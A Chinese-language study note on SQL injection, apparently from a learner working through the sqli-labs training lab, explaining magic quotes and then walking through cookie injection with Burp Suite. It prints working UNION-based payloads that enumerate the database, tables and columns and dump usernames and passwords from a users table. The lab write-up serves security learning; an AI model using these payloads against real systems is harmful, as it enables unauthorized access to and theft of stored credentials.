sql注入类型
通过上一次的sql注入类型学习中,学习到了两个基本的注入类型数字型注入和字符型注入。 此篇文章将更加深入学习sql注入中更多的注入类型。
- 数字型注入
- 字符型注入
- cookie注入
cookie注入
cookie注入学习之前,我们通过sqlilabs中我们通过Post注入和cookie注入中的第十一题与二十题的php代码进行分析
- 此图片为sqlilabs中第十一题Post注入中php代码, 通过下面图片代码分析,在Post注入中Post是没有做任何的防护措施,所以注入可以通过Post注入的方式。
$ uname=$_POST[‘uname’];
$ passwd=$_POST[‘passwd’];
- 此图片为sqlilabs中第二十题中的php代码,通过下面图片对代码进行分析
第一张图中使用了魔术引号,所以在第二十题中Post注入无法得到生效
get_magic_quotes_gpc()
知识点扩展:魔术引号
我们通过第二十题中的php代码来分析魔术引号,我们在第二十题php中此处加入下面一条命令来查看魔术引号的使用效果
echo $ sql;
- 通过我们添加echo $sql查看的效果发现在Post注入时候,魔术引号就起作用了将数据库或文件中读取数据时,对单引号、双引号、反斜线、NULL加上一个反斜线进行转义
魔术引号:通过下面三句代码我们来分析魔术引号进行分析
”select * from ‘表名’ where field1 = $ para and field2 = ‘xxx’”
当我们在$ para中进行传参的时候,如果我们传入了双引号、单引号反斜线、NULL加上一个反斜线进行转义。
“select * from ‘表名’ where field1 = " shiyan and field2 =‘xxx’”
"select * from ‘表名’ where field1 = “shiyan and field2= ‘xxx’”
cookie注入
- 了解了魔术引号我们对于第二十题就不能用Post注入了,所以就回到本次笔记的内容,cookie注入。
- cookie注入中我们需要用到burpsuite抓包
-
使用burpsuite将拦截包的intercept is off打开变为on
-
使用火狐浏览器在当前靶场第二十题中进行随便的账号和密码的输入
-
这时我们的burpsutie已经抓取到了靶场输入用户名密码的信息
-
我们抓取到了包后反击鼠标右键,然后Send to Repeater进行编辑来实现后续的注入步骤
-
编辑Repeater中将原本的uname=zjx&passwd=zjx&submit=Submit,复制到我们自己输入的Cookie: 这个字段的后面。我们进行查看
-
此时我们再在我输入的用户后方使用单引号来闭合数据并进行查看数据库的字段数
Cookie: uname=zjx’ order by 4#&passwd=zjx&submit=Submit
Cookie: uname=zjx’ order by 3#&passwd=zjx&submit=Submit 将字段改为3发现没有报错
-
我们使用union查询来查询一下数据回显的位置,发现在两处位置产生了回显显示,我们将2位置改为database()查询数据库的名称,于是查询到数据库名称
-
已经查询数据库名称为security,使用union查询数据库中所有的表
Cookie: uname=zjx’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’#&passwd=zjx&submit=Submit
- 查询在数据库security下有emails,referers,uagents,users表名,使用union查询表下的字段信息,这里我查看的是users下的字段信息
Cookie: uname=zjx’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’#&passwd=zjx&submit=Submit
- 已经知道users表下的字段名称,使用union命令就可以查询数据了
Cookie: uname=zjx’ union select id,username,password from users limit 0,1#&passwd=zjx&submit=Submit